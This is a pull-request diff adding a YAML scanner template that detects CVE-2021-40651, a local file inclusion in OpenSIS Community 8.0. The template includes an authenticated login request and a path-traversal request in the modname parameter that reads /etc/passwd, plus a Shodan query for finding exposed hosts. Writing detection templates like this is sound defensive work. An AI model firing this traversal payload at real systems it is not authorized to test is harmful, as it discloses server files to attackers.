Merge pull request #8326 from ctflearner/CVE-2021-40651

Create CVE-2021-40651.yaml

http/cves/2021/CVE-2021-40651.yaml

@@ -0,0 +1,44 @@
+id: CVE-2021-40651
+
+info:
+  name: OS4Ed OpenSIS Community 8.0 - Local File Inclusion
+  author: ctflearner
+  severity: medium
+  description: |
+    OS4Ed OpenSIS Community 8.0 is vulnerable to a local file inclusion vulnerability in Modules.php (modname parameter), which can disclose arbitrary file from the server's filesystem as long as the application has access to the file.
+  reference:
+    - https://www.exploit-db.com/exploits/50259
+    - https://github.com/MiSERYYYYY/Vulnerability-Reports-and-Disclosures/blob/main/OpenSIS-Community-8.0.md
+    - https://www.youtube.com/watch?v=wFwlbXANRCo
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-40651
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 6.5
+    cve-id: CVE-2021-40651
+    cwe-id: CWE-22
+    cpe: cpe:2.3:a:os4ed:opensis:8.0:*:*:*:community:*:*:*
+  metadata:
+    max-request: 1
+    shodan-query: title:"openSIS"
+  tags: cve,cve2021,lfi,os4ed,opensis,authenticated
+
+http:
+  - raw:
+      - |
+        POST /index.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        USERNAME={{username}}&PASSWORD={{password}}&language=en&log=
+
+      - |
+        GET /Modules.php?modname=miscellaneous%2fPortal.php..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&failed_login= HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "regex('root:.*:0:0:', body)"
+          - 'contains(body_1, "openSIS")'
+          - "status_code == 200"
+        condition: and